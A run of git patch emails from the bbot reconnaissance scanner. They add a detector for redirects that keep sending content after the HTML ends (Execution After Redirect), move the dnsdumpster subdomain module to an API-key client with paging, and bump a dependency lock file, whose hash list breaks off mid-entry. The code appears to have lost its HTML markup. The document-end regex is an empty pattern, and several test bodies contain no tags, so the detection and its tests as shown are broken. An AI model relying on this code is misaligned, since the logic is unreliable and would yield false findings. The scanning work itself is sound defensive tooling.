From: Paul Mueller Date: Wed, 7 Oct 2026 12:09:06 -0400 Subject: [PATCH 140/256] Add long redirection response detection to excavate (#3481) * add long redirection response detection to excavate * gate long redirect findings on page shape Collapse the guard chain onto event.http_status, which already handles a missing or non-integer status code. Require the body to be navigable or interactive: more than 10 distinct links, or more than 2 inputs. Across 30,894 real responses (14,874 3xx with a Location, 7,654 hosts), size alone flags 66 hosts of which 8 are genuine. The shape gate flags 9, keeping all 8. Report the link and input counts in the description so triage can see which arm fired. * detect long redirects by trailing content, not body size Report a 3xx whose body continues for at least the threshold past the end of the HTML document. That is the server running the handler the redirect was meant to skip, rather than any body that happens to be large. Body size was the wrong signal. Across 14,874 real 3xx responses it flagged 66 hosts, of which 8 carried anything withheld; the rest were inlined analytics agents, framework payloads and error pages. Trailing content flags 6 hosts with no false positives. Raise severity to LOW now that the check identifies a specific defect. --- bbot/modules/internal/excavate.py | 53 +++++++- .../module_tests/test_module_excavate.py | 116 ++++++++++++++++++ 2 files changed, 168 insertions(+), 1 deletion(-) diff --git a/bbot/modules/internal/excavate.py b/bbot/modules/internal/excavate.py index 0d1651c375..fce36cf153 100644 --- a/bbot/modules/internal/excavate.py +++ b/bbot/modules/internal/excavate.py @@ -141,6 +141,8 @@ def extract_params_location(location_header_value, original_parsed_url): _yara_identifier_regex = re.compile(r"[A-Za-z_]\w*") _yara_rule_modifiers = ("private", "global") +_html_end_regex = re.compile(r"", re.I) + def _skip_yara_noncode(source, i): """ @@ -513,7 +515,7 @@ class excavateTestRule(ExcavateRule): """ watched_events = ["HTTP_RESPONSE", "RAW_TEXT"] - produced_events = ["URL_UNVERIFIED", "WEB_PARAMETER"] + produced_events = ["URL_UNVERIFIED", "WEB_PARAMETER", "FINDING"] _avoid_duplicate_content = True flags = ["safe", "passive"] meta = { @@ -534,12 +536,58 @@ class Config(BaseModuleConfig): 262144, description="Maximum byte slice of the response body searched for a single
    body. YARA only locates form openings; the bounded slice is what the Python re-based extractor scans for fields. Caps worst-case extraction work per form match.", ) + long_redirect_threshold: int = Field( + 2048, + description="Minimum number of bytes following the end of the HTML document for a 3xx response to be reported as a long redirection response. Set to 0 to disable the check.", + ) scope_distance_modifier = None accept_dupes = False _module_threads = 6 + async def check_long_redirect(self, event, body): + """Report a redirect whose body keeps going after the document ends. + + Browsers discard the body of a 3xx, so content delivered here is never + displayed. A server that emits a redirect document and then keeps writing + has run the handler the redirect was meant to skip (CWE-698, Execution + After Redirect). + + Body size on its own is not the signal: analytics payloads and notice + pages clear any byte threshold. Trailing content is measured on the + decoded body, since ``content_length`` reports the compressed size and + is absent from most of these responses. + """ + threshold = self.long_redirect_threshold + status_code = event.http_status + location = event.data.get("location", "") + if not (threshold and location and 300 <= status_code < 400): + return + document_end = _html_end_regex.search(body) + if not document_end: + return + trailing = len(body) - document_end.end() + if trailing < threshold: + return + + await self.emit_event( + { + "host": str(event.host), + "url": event.data.get("url", ""), + "name": "Long Redirection Response", + "description": ( + "Redirect kept writing after the document ended, delivering content no browser displays. " + f"Status: [{status_code}] Location: [{location}] Trailing bytes: [{trailing}]" + ), + "severity": "LOW", + "confidence": "HIGH", + }, + "FINDING", + event, + context="{module} found content past the end of the document on a {event.type} redirect, which browsers never display", + ) + def in_bl(self, value): # Check if the value is in the blacklist or starts with a blacklisted prefix. lower_value = value.lower() @@ -1384,6 +1432,7 @@ async def setup(self): # Bounded slice of the response body searched for a form's body, anchored # at each YARA form-opening match. Caps worst-case Python re work per form. self.max_form_bytes = int(self.config.get("max_form_bytes", 262144)) + self.long_redirect_threshold = int(self.config.get("long_redirect_threshold", 2048)) for module in self.scan.modules.values(): if not str(module).startswith("_"): @@ -1556,6 +1605,8 @@ async def handle_event(self, event, **kwargs): if body == "" and headers == {}: return + await self.check_long_redirect(event, body) + self.assigned_cookies = {} content_type = None reported_location_header = False diff --git a/bbot/test/test_step_2/module_tests/test_module_excavate.py b/bbot/test/test_step_2/module_tests/test_module_excavate.py index 8f677ea56b..e86845d265 100644 --- a/bbot/test/test_step_2/module_tests/test_module_excavate.py +++ b/bbot/test/test_step_2/module_tests/test_module_excavate.py @@ -2186,3 +2186,119 @@ def check(self, module_test, events): "Both duplicate-content URLs were processed — content dedup failed for URL events" ) assert len(consumer._content_dup_tracker) > 0, "Content dedup tracker should have entries" + + +class TestExcavateLongRedirect(ModuleTestBase): + """A redirect is reported only when its body keeps going after the document ends. + + Browsers discard a 3xx body, so content delivered there is never displayed. + A server that writes a redirect document and then keeps writing has run the + handler the redirect was meant to skip. + """ + + targets = [ + f"{HTTPSERVER_URL}/longredirect", + f"{HTTPSERVER_URL}/shortredirect", + f"{HTTPSERVER_URL}/singledoc", + f"{HTTPSERVER_URL}/nodoc", + f"{HTTPSERVER_URL}/bigpage", + ] + modules_overrides = ["excavate", "http"] + config_overrides = {"web": {"spider_distance": 0, "spider_depth": 0}, "omit_event_types": []} + + # Each body must be distinct: excavate's _avoid_duplicate_content drops a + # response whose body hash it has already seen, whatever its status code. + redirect_stub = ( + "Object moved" + "

    Object moved to here.

    " + ) + # what the handler rendered after the redirect document had already been written + trailing_page = "" + ("A" * 4096) + "" + + long_body = redirect_stub + trailing_page + short_body = redirect_stub + "

    tiny

    " + single_doc_body = "" + ("B" * 4096) + "" + no_doc_body = "" + ("C" * 4096) + non_redirect_body = redirect_stub + "" + ("D" * 4096) + "" + + async def setup_before_prep(self, module_test): + def redirect(uri, body): + module_test.set_expect_requests( + expect_args={"method": "GET", "uri": uri}, + respond_args={"response_data": body, "status": 302, "headers": {"Location": "/destination"}}, + ) + + # the handler kept running past the redirect document: should be reported + redirect("/longredirect", self.long_body) + # trailing content below the threshold: should not be reported + redirect("/shortredirect", self.short_body) + # one complete document and nothing after it: should not be reported + redirect("/singledoc", self.single_doc_body) + # no document terminator to measure from: should not be reported + redirect("/nodoc", self.no_doc_body) + # trailing content, but not a redirect: should not be reported + module_test.set_expect_requests( + expect_args={"method": "GET", "uri": "/bigpage"}, + respond_args={"response_data": self.non_redirect_body, "status": 200}, + ) + + def check(self, module_test, events): + findings = [e for e in events if e.type == "FINDING" and "Long Redirection Response" in str(e.data)] + reported = {e.data.get("url", "") for e in findings} + + # without this the negative cases below would pass for a response that was never fetched + fetched = {e.data.get("url", "") for e in events if e.type == "HTTP_RESPONSE"} + for path in ("/longredirect", "/shortredirect", "/singledoc", "/nodoc", "/bigpage"): + assert any(path in u for u in fetched), f"{path} was never fetched" + + assert any("/longredirect" in u for u in reported), ( + f"content past the end of the document was not reported, findings: {[f.data for f in findings]}" + ) + assert not any("/shortredirect" in u for u in reported), ( + "trailing content below the threshold should not be reported" + ) + assert not any("/singledoc" in u for u in reported), ( + "a redirect body that is one complete document should not be reported" + ) + assert not any("/nodoc" in u for u in reported), ( + "a redirect body with no document terminator should not be reported" + ) + assert not any("/bigpage" in u for u in reported), "a 200 response should never be reported" + + finding = next(f for f in findings if "/longredirect" in f.data.get("url", "")) + assert finding.data["severity"] == "LOW" + assert finding.data["confidence"] == "HIGH" + assert f"Trailing bytes: [{len(self.trailing_page)}]" in finding.data["description"], ( + f"description should carry the trailing byte count: {finding.data['description']}" + ) + + +class TestExcavateLongRedirectDisabled(ModuleTestBase): + """A threshold of 0 turns the check off.""" + + targets = [f"{HTTPSERVER_URL}/longredirect"] + modules_overrides = ["excavate", "http"] + config_overrides = { + "web": {"spider_distance": 0, "spider_depth": 0}, + "omit_event_types": [], + "modules": {"excavate": {"long_redirect_threshold": 0}}, + } + + async def setup_before_prep(self, module_test): + module_test.set_expect_requests( + expect_args={"method": "GET", "uri": "/longredirect"}, + respond_args={ + "response_data": ( + "

    Object moved to here.

    " + + "" + + ("E" * 4096) + + "" + ), + "status": 302, + "headers": {"Location": "/destination"}, + }, + ) + + def check(self, module_test, events): + findings = [e for e in events if e.type == "FINDING" and "Long Redirection Response" in str(e.data)] + assert not findings, f"check should be disabled at threshold 0, got: {[f.data for f in findings]}" From 85ff8e77f88c5d48d1d496057fb98af4edca36ee Mon Sep 17 00:00:00 2001 From: Paul Mueller Date: Wed, 7 Oct 2026 13:11:40 -0400 Subject: [PATCH 141/256] Convert dnsdumpster to the authenticated API (#3458) * Convert dnsdumpster to the authenticated API * dnsdumpster: address review, extract hostnames from the whole response * dnsdumpster: page by total_a_recs --- bbot/modules/dnsdumpster.py | 108 ++++++++---------- .../module_tests/test_module_dnsdumpster.py | 92 ++++++++++++++- docs/modules/list_of_modules.md | 2 +- docs/scanning/configuration.md | 2 + 4 files changed, 137 insertions(+), 67 deletions(-) diff --git a/bbot/modules/dnsdumpster.py b/bbot/modules/dnsdumpster.py index 63fd34b596..7740341d20 100644 --- a/bbot/modules/dnsdumpster.py +++ b/bbot/modules/dnsdumpster.py @@ -1,9 +1,8 @@ -import json +from bbot.modules.templates.subdomain_enum import subdomain_enum_apikey +from bbot.core.config.models import BaseModuleConfig, Field -from bbot.modules.templates.subdomain_enum import subdomain_enum - -class dnsdumpster(subdomain_enum): +class dnsdumpster(subdomain_enum_apikey): watched_events = ["DNS_NAME"] produced_events = ["DNS_NAME"] flags = ["safe", "subdomain-enum", "passive"] @@ -13,63 +12,48 @@ class dnsdumpster(subdomain_enum): "author": "@TheTechromancer", } - base_url = "https://dnsdumpster.com" - - async def setup(self): - self.apikey_regex = self.helpers.re.compile(r']*data-form-id="mainform"[^>]*hx-headers=\'([^\']*)\'') - return True - - async def query(self, domain): - ret = [] - # first, get the JWT token from the main page - res1 = await self.api_request(self.base_url) - status_code = getattr(res1, "status_code", 0) - if status_code not in [200]: - self.verbose(f'Bad response code "{status_code}" from DNSDumpster') - return ret + class Config(BaseModuleConfig): + api_key: str | list[str] = Field("", description="DNSDumpster API key", sensitive=True, mandatory=True) + max_pages: int = Field(10, description="Maximum result pages to request per domain") - # Extract JWT token from the form's hx-headers attribute using regex - jwt_token = None - try: - # Look for the form with data-form-id="mainform" and extract hx-headers - form_match = await self.helpers.re.search(self.apikey_regex, res1.text) - if form_match: - headers_json = form_match.group(1) - headers_data = json.loads(headers_json) - jwt_token = headers_data.get("Authorization") - except (AttributeError, json.JSONDecodeError, KeyError): - self.log.warning("Error obtaining JWT token") - return ret + base_url = "https://api.dnsdumpster.com" - # Abort if we didn't get the JWT token - if not jwt_token: - self.verbose("Error obtaining JWT token") - self.errorState = True - return ret - else: - self.debug("Successfully obtained JWT token") - - if self.scan.stopping: - return ret - - # Query the API with the JWT token - res2 = await self.api_request( - "https://api.dnsdumpster.com/htmld/", - method="POST", - data={"target": str(domain).lower()}, - headers={ - "Authorization": jwt_token, - "Content-Type": "application/x-www-form-urlencoded", - "Origin": "https://dnsdumpster.com", - "Referer": "https://dnsdumpster.com/", - "HX-Request": "true", - "HX-Target": "results", - "HX-Current-URL": "https://dnsdumpster.com/", - }, - ) - status_code = getattr(res2, "status_code", 0) - if status_code not in [200]: - self.verbose(f'Bad response code "{status_code}" from DNSDumpster API') - return ret - - return await self.scan.extract_in_scope_hostnames(res2.text) + async def setup(self): + self.max_pages = self.config.get("max_pages", 10) + return await super().setup() + + def prepare_api_request(self, url, kwargs): + kwargs["headers"]["X-API-Key"] = self.api_key + return url, kwargs + + async def query(self, query): + results = set() + a_records = 0 + for page in range(1, self.max_pages + 1): + # page 1 is the bare URL; the API only accepts an explicit page number from 2 on + url = f"{self.base_url}/domain/{query}" + if page > 1: + url = f"{url}?page={page}" + r = await self.api_request(url) + if r is None: + self.verbose(f'No response for "{query}" (page {page})') + break + if page > 1 and r.status_code in (401, 403): + self.verbose(f"Paging past the first page requires a paid membership (HTTP {r.status_code})") + break + try: + data = r.json() + except Exception: + self.verbose(f'Error parsing JSON for "{query}" (HTTP {r.status_code})') + break + if not isinstance(data, dict): + self.verbose(f'Unexpected response for "{query}" (HTTP {r.status_code}): {r.text[:200]}') + break + results.update(await self.scan.extract_in_scope_hostnames(r.text)) + # the response reports how many A records exist in total; stop once they have all been seen + page_a_records = len(data.get("a") or []) + a_records += page_a_records + total = data.get("total_a_recs") + if not isinstance(total, int) or not page_a_records or a_records >= total: + break + return results diff --git a/bbot/test/test_step_2/module_tests/test_module_dnsdumpster.py b/bbot/test/test_step_2/module_tests/test_module_dnsdumpster.py index 5de39cb0b6..432ea0e5f8 100644 --- a/bbot/test/test_step_2/module_tests/test_module_dnsdumpster.py +++ b/bbot/test/test_step_2/module_tests/test_module_dnsdumpster.py @@ -1,15 +1,99 @@ +import json + from .base import ModuleTestBase +BASE_URL = "https://api.dnsdumpster.com/domain/blacklanternsecurity.com" + + +def page(hosts, total=None, txt=()): + """A response page shaped like the live API's, with `total_a_recs` defaulting to this page's A records.""" + records = [{"host": h, "ips": [{"ip": "127.0.0.1"}]} for h in hosts] + body = { + "a": records, + "cname": [], + "mx": [{"host": "0 mail.blacklanternsecurity.com", "ips": []}], + "ns": [], + "txt": list(txt), + "total_a_recs": len(records) if total is None else total, + } + return json.dumps(body).encode() + class TestDNSDumpster(ModuleTestBase): + """Pages are requested until every A record in `total_a_recs` has been seen.""" + + config_overrides = {"modules": {"dnsdumpster": {"api_key": "asdf"}}} + + async def setup_after_prep(self, module_test): + module_test.blasthttp_mock.add_response(url=BASE_URL, content=page(["asdf.blacklanternsecurity.com"], total=2)) + module_test.blasthttp_mock.add_response( + url=f"{BASE_URL}?page=2", content=page(["qwerty.blacklanternsecurity.com"], total=2) + ) + module_test.blasthttp_mock.add_response( + url=f"{BASE_URL}?page=3", content=page(["unrequested.blacklanternsecurity.com"], total=2) + ) + + def check(self, module_test, events): + assert any(e.data == "asdf.blacklanternsecurity.com" for e in events), "Failed to detect subdomain" + assert any(e.data == "qwerty.blacklanternsecurity.com" for e in events), "Failed to paginate" + assert not any(e.data == "unrequested.blacklanternsecurity.com" for e in events), "Paged past the total" + + +class TestDNSDumpsterSinglePage(ModuleTestBase): + """A first page holding every A record must not trigger a second request. Hostnames outside the host fields are kept.""" + + modules_overrides = ["dnsdumpster"] + config_overrides = {"modules": {"dnsdumpster": {"api_key": "asdf"}}} + + async def setup_after_prep(self, module_test): + module_test.blasthttp_mock.add_response( + url=BASE_URL, + content=page(["asdf.blacklanternsecurity.com"], txt=["v=spf1 include:spf.blacklanternsecurity.com ~all"]), + ) + module_test.blasthttp_mock.add_response( + url=f"{BASE_URL}?page=2", content=page(["unrequested.blacklanternsecurity.com"]) + ) + + def check(self, module_test, events): + assert any(e.data == "asdf.blacklanternsecurity.com" for e in events), "Failed to detect subdomain" + assert any(e.data == "spf.blacklanternsecurity.com" for e in events), "Failed to extract hostname from TXT" + assert any(e.data == "mail.blacklanternsecurity.com" for e in events), "Failed to extract MX host" + assert not any(e.data == "unrequested.blacklanternsecurity.com" for e in events), "Requested a second page" + + +class TestDNSDumpsterNoTotal(ModuleTestBase): + """Without `total_a_recs` there is no way to know more pages exist, so only the first is requested.""" + + modules_overrides = ["dnsdumpster"] + config_overrides = {"modules": {"dnsdumpster": {"api_key": "asdf"}}} + + async def setup_after_prep(self, module_test): + body = json.loads(page(["asdf.blacklanternsecurity.com"])) + del body["total_a_recs"] + module_test.blasthttp_mock.add_response(url=BASE_URL, content=json.dumps(body).encode()) + module_test.blasthttp_mock.add_response( + url=f"{BASE_URL}?page=2", content=page(["unrequested.blacklanternsecurity.com"]) + ) + + def check(self, module_test, events): + assert any(e.data == "asdf.blacklanternsecurity.com" for e in events), "Failed to detect subdomain" + assert not any(e.data == "unrequested.blacklanternsecurity.com" for e in events), "Requested a second page" + + +class TestDNSDumpsterFreeTier(ModuleTestBase): + """A free key gets 401 when it asks for page 2; results so far are still kept.""" + + modules_overrides = ["dnsdumpster"] + config_overrides = {"modules": {"dnsdumpster": {"api_key": "asdf"}}} + async def setup_after_prep(self, module_test): module_test.blasthttp_mock.add_response( - url="https://dnsdumpster.com", - content=b"""
    """, + url=BASE_URL, content=page(["asdf.blacklanternsecurity.com"], total=200) ) module_test.blasthttp_mock.add_response( - url="https://api.dnsdumpster.com/htmld/", - content=b"asdf.blacklanternsecurity.com", + url=f"{BASE_URL}?page=2", + status_code=401, + content=b'{"error":"pagination requires plus or max membership"}', ) def check(self, module_test, events): diff --git a/docs/modules/list_of_modules.md b/docs/modules/list_of_modules.md index 288416b87b..66027149b4 100644 --- a/docs/modules/list_of_modules.md +++ b/docs/modules/list_of_modules.md @@ -78,7 +78,7 @@ | dehashed | scan | Yes | Execute queries against dehashed.com for exposed credentials | email-enum, passive, safe | DNS_NAME | EMAIL_ADDRESS, HASHED_PASSWORD, PASSWORD, USERNAME | @SpamFaux | 2023-10-12 | | dnsbimi | scan | No | Check DNS_NAME's for BIMI records to find image and certificate hosting URL's | cloud-enum, passive, safe, subdomain-enum | DNS_NAME | RAW_DNS_RECORD, URL_UNVERIFIED | @colin-stubbs | 2024-11-15 | | dnscaa | scan | No | Check for CAA records | email-enum, passive, safe, subdomain-enum | DNS_NAME | DNS_NAME, EMAIL_ADDRESS, URL_UNVERIFIED | @colin-stubbs | 2024-05-26 | -| dnsdumpster | scan | No | Query dnsdumpster for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-03-12 | +| dnsdumpster | scan | Yes | Query dnsdumpster for subdomains | passive, safe, subdomain-enum | DNS_NAME | DNS_NAME | @TheTechromancer | 2022-03-12 | | dnstlsrpt | scan | No | Check for TLS-RPT records | cloud-enum, email-enum, passive, safe, subdomain-enum | DNS_NAME | EMAIL_ADDRESS, RAW_DNS_RECORD, URL_UNVERIFIED | @colin-stubbs | 2024-07-26 | | docker_pull | scan | No | Download images from a docker repository | code-enum, download, passive, safe, slow | CODE_REPOSITORY | FILESYSTEM | @domwhewell-sage | 2024-03-24 | | dockerhub | scan | No | Search for docker repositories of discovered orgs/usernames | code-enum, passive, safe | ORG_STUB, SOCIAL | CODE_REPOSITORY, SOCIAL, URL_UNVERIFIED | @domwhewell-sage | 2024-03-12 | diff --git a/docs/scanning/configuration.md b/docs/scanning/configuration.md index b94a1d9d8b..2f8272988f 100644 --- a/docs/scanning/configuration.md +++ b/docs/scanning/configuration.md @@ -637,6 +637,8 @@ In addition to the stated options for each module, the following universal optio | modules.dnscaa.emails | bool | emit EMAIL_ADDRESS events | True | | modules.dnscaa.in_scope_only | bool | Only check in-scope domains | True | | modules.dnscaa.urls | bool | emit URL_UNVERIFIED events | True | +| modules.dnsdumpster.api_key | str | list[str] | DNSDumpster API key | | +| modules.dnsdumpster.max_pages | int | Maximum result pages to request per domain | 10 | | modules.dnstlsrpt.emit_emails | bool | Emit EMAIL_ADDRESS events | True | | modules.dnstlsrpt.emit_raw_dns_records | bool | Emit RAW_DNS_RECORD events | False | | modules.dnstlsrpt.emit_urls | bool | Emit URL_UNVERIFIED events | True | From a4c2752e802e7d9179affec86f1b61070fe55e6f Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Wed, 7 Oct 2026 16:52:31 -0400 Subject: [PATCH 142/256] Bump regex from 2026.9.10 to 2026.9.29 (#3493) Bumps [regex](https://github.com/mrabarnett/mrab-regex) from 2026.9.10 to 2026.9.29. - [Changelog](https://github.com/mrabarnett/mrab-regex/blob/hg/changelog.txt) - [Commits](https://github.com/mrabarnett/mrab-regex/compare/2026.9.10...2026.9.29) --- updated-dependencies: - dependency-name: regex dependency-version: 2026.9.29 dependency-type: direct:production update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- uv.lock | 202 ++++++++++++++++++++++++++++---------------------------- 1 file changed, 101 insertions(+), 101 deletions(-) diff --git a/uv.lock b/uv.lock index 705eb4f5be..5af6e049bb 100644 --- a/uv.lock +++ b/uv.lock @@ -2759,107 +2759,107 @@ wheels = [ [[package]] name = "regex" -version = "2026.9.10" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/b9/5c/f403115361de25809e8f785686ec7096e30fef73be9ae35aa51da4e80abb/regex-2026.9.10.tar.gz", hash = "sha256:1e321e2c84f0e52c457f5ea5944f796d6e8e09cb99738ea98dcc1bfe402a128d", size = 417072, upload-time = "2026-09-09T21:00:21.521Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/67/29/b4160140513c37ea8e7d87c467b5b7e658f53ca4cdcfe394b82ec768d0b4/regex-2026.9.10-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:7dcad477c49c4c626a6c4fcd71b39a971aa217060cc40a6569fd24edcc0fa509", size = 493887, upload-time = "2026-09-09T20:56:21.178Z" }, - { url = "https://files.pythonhosted.org/packages/01/f9/6008e74d6076a980a48cb3eeaf80c1324db73f2eed89a8023e91669dad84/regex-2026.9.10-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:d414c411c06fe0009eac33488fb1591c66b5c2673e342e452e7bb2fe63da8194", size = 295102, upload-time = "2026-09-09T20:56:22.687Z" }, - { url = "https://files.pythonhosted.org/packages/7e/cd/2f540fc813d1f71f18e1cc6861483133a0e6afb349a4e770fbdce4811d8d/regex-2026.9.10-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:f2f43bf4e47ff7ce9e585558706d698c6204d0f80bf2207766382ed817c8e9f4", size = 290660, upload-time = "2026-09-09T20:56:23.835Z" }, - { url = "https://files.pythonhosted.org/packages/03/5f/9c990517587418d82406203d4608e17e02167c73fb36ef9a7a9d7ae64802/regex-2026.9.10-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:24d12a625a37c89c2b09303402a06942f55f071b95a7916a49c17034c3d47cd5", size = 787864, upload-time = "2026-09-09T20:56:24.979Z" }, - { url = "https://files.pythonhosted.org/packages/6e/1f/bcc010de82e20c1822d22ae94d97faafd46ce8405599f3636622a9a7bd04/regex-2026.9.10-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:ef4ce69ff97fbb44b46751cfea5e859ad0b66d1a50abf34954f0645f51e81671", size = 860487, upload-time = "2026-09-09T20:56:26.363Z" }, - { url = "https://files.pythonhosted.org/packages/58/3e/6e75baf9c78d90bf44187f5ce4ee5de51fde206e6981490a0a4418cde296/regex-2026.9.10-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:044bd4639b6bb409ec9e5d8b7accd57e02b4c4a4e2eafde916f8ae8006b3e40b", size = 905374, upload-time = "2026-09-09T20:56:27.741Z" }, - { url = "https://files.pythonhosted.org/packages/49/b2/be9fafe5e05888296fdd35d82ba9cbb67b0d352e9911fad3c458beb3a34a/regex-2026.9.10-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c3d95d7d9538b5b726dd6fcd7b6117a71e6565202f6d64f5845fb4d8f203f533", size = 796252, upload-time = "2026-09-09T20:56:29.074Z" }, - { url = "https://files.pythonhosted.org/packages/f4/ac/4df639a88ce4fcdb0aedaba7818718254b888e4b60c7df640d5fc82232cb/regex-2026.9.10-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:faa911fbbcf8ac90bda0e0657d60768e3390954ef0588211d63a22add1cb1cd1", size = 790214, upload-time = "2026-09-09T20:56:30.586Z" }, - { url = "https://files.pythonhosted.org/packages/6b/2f/2bb3fef68f7ba134d45a2aa3c713078109ebca71ec5dbb84a42d7284abec/regex-2026.9.10-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:ecb2e7acb18f8cc4a67f0ad986c0af291ea4dd385d0614ba9bc09d7f8bbb478c", size = 773413, upload-time = "2026-09-09T20:56:32.223Z" }, - { url = "https://files.pythonhosted.org/packages/7d/57/43737678e306ad6430732828ecf0632c72676eab783cc98c4da373e7ee96/regex-2026.9.10-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:4971776b4f2bd7fd9a83eceb2cb2592cbe2924f639fe8045e6a9de5ba4bfcf25", size = 778331, upload-time = "2026-09-09T20:56:33.51Z" }, - { url = "https://files.pythonhosted.org/packages/b1/19/61f4158219d60ec727500f08f6f0aa86a036bb5c3ba0632204f35eeb92e8/regex-2026.9.10-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:f8bdec659a8fa7af51a32b224b3b7c02bc415d54ffd35187b1d224176b17d607", size = 853498, upload-time = "2026-09-09T20:56:34.931Z" }, - { url = "https://files.pythonhosted.org/packages/6f/85/7c783b98eb777cd17e2566ea6343a350f6a7c13f41f43282c20348ed9303/regex-2026.9.10-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:3540734dbe241ebb3b87d5713781f6749a3e4d45480f506aa5fb5cbb0c37d249", size = 762708, upload-time = "2026-09-09T20:56:36.248Z" }, - { url = "https://files.pythonhosted.org/packages/dd/cd/a56fb347afd102dca21fc3ee9163ccf379678154ec2d0e3f139fb26e5eb9/regex-2026.9.10-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:87f5f75c109f08f5c602d68e1af54cead8165189c727b6ac946b30b9833a3ba4", size = 842488, upload-time = "2026-09-09T20:56:37.538Z" }, - { url = "https://files.pythonhosted.org/packages/59/54/5d38dc952ec93cd19943d31647806c7fbf380c74f36b747874b26a3070fe/regex-2026.9.10-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:88b02aa8d0ec9b6189fe933d425775882271c23700ac11fd26d1779b0f56fde3", size = 783557, upload-time = "2026-09-09T20:56:39.649Z" }, - { url = "https://files.pythonhosted.org/packages/63/81/c4c880460f22160046e9d4794d947935da8337d579e08c3492344be32d1d/regex-2026.9.10-cp310-cp310-win32.whl", hash = "sha256:13c52fc377792675f604a207a2ae5958c080f6854f7698d40d9ff034d95b1e76", size = 266938, upload-time = "2026-09-09T20:56:41.352Z" }, - { url = "https://files.pythonhosted.org/packages/f4/0a/5061dde95447f00acdeeb39780b32def0ce380c3e725aeee1f5b37b788bb/regex-2026.9.10-cp310-cp310-win_amd64.whl", hash = "sha256:e6b99181d184d0f5c7b36b8d12b94d1e9499cce6246594331f9edc5d2ea9fceb", size = 278251, upload-time = "2026-09-09T20:56:42.54Z" }, - { url = "https://files.pythonhosted.org/packages/c1/c8/b3f8dab9592d1089fb2cec58f5c1120ce1c5c74b2d12d50119e404187ee8/regex-2026.9.10-cp310-cp310-win_arm64.whl", hash = "sha256:abbfc1c33bf8efddcc43844aba61e036d74a918680dc3ce8ce2538b004eda0f9", size = 277308, upload-time = "2026-09-09T20:56:44.141Z" }, - { url = "https://files.pythonhosted.org/packages/65/82/36fdcd669c7c47e11bea67e3495011ec365be0942aae3ba74f82f92ed6a2/regex-2026.9.10-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:debc629e98b95abaea1cf3057ca296151f348c697c9b8a59d18013adb302c0dd", size = 493891, upload-time = "2026-09-09T20:56:45.767Z" }, - { url = "https://files.pythonhosted.org/packages/c8/57/bb6a8273bcb53077a1855fea0ff416fe4d4bcb1d9f350a9fe3b909853983/regex-2026.9.10-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:9d772586951d7d6a5d162d48f414065e483b1c81ab38fd8ed97c78b05883421a", size = 295107, upload-time = "2026-09-09T20:56:47.359Z" }, - { url = "https://files.pythonhosted.org/packages/38/71/9d96d04c36556f057398a08dfc21aecc5409b5fef83fd7653a310227df7e/regex-2026.9.10-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:b43456de605c8ee77eb75f07bc1ee44ba27f9cee22207deb77d495e954b7d953", size = 290649, upload-time = "2026-09-09T20:56:48.731Z" }, - { url = "https://files.pythonhosted.org/packages/af/cb/4dd3b7190b5a169c81a4d63b487d65e9fb23689b771f5aceb91d9e7f65bb/regex-2026.9.10-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1f0a8b4928823bc8b217a1ab7bf3d90598909dec9a70fbbfe9a52cc4eca55990", size = 796358, upload-time = "2026-09-09T20:56:50.021Z" }, - { url = "https://files.pythonhosted.org/packages/3e/bb/aceb2329a2d54a3bbd95e54f08689692414674c213e8fc958cf253206e5e/regex-2026.9.10-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:b91c37551bf39d75116c02b146956f65b9aa0337a4a652f4ae186983789d4001", size = 866258, upload-time = "2026-09-09T20:56:51.363Z" }, - { url = "https://files.pythonhosted.org/packages/ba/fc/f8deac9c4c475b6bc35f25565a2253df4d27d49dcb6b189d9432ae69294e/regex-2026.9.10-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:0b9ba3b2765cdfe18f0f561a69f78a69701f2896654a81c711108d35d14e5099", size = 912779, upload-time = "2026-09-09T20:56:52.811Z" }, - { url = "https://files.pythonhosted.org/packages/74/dc/2dd4d56932f55ea412c9808f27a8661f93568bfee596ed04bc57a74e591f/regex-2026.9.10-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0acee94b480dd853e39434aa9a575f95385b1b4b8fa3feae56db363ca5cad782", size = 802962, upload-time = "2026-09-09T20:56:54.241Z" }, - { url = "https://files.pythonhosted.org/packages/46/a8/43edbb94e6c9caffd08bffca5b5c486d18845569fcad3953565b85dd71f1/regex-2026.9.10-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:a41693eb3fc4b92e6127d113813c6c395237f7edd3224abf67609af48c690d11", size = 777136, upload-time = "2026-09-09T20:56:55.749Z" }, - { url = 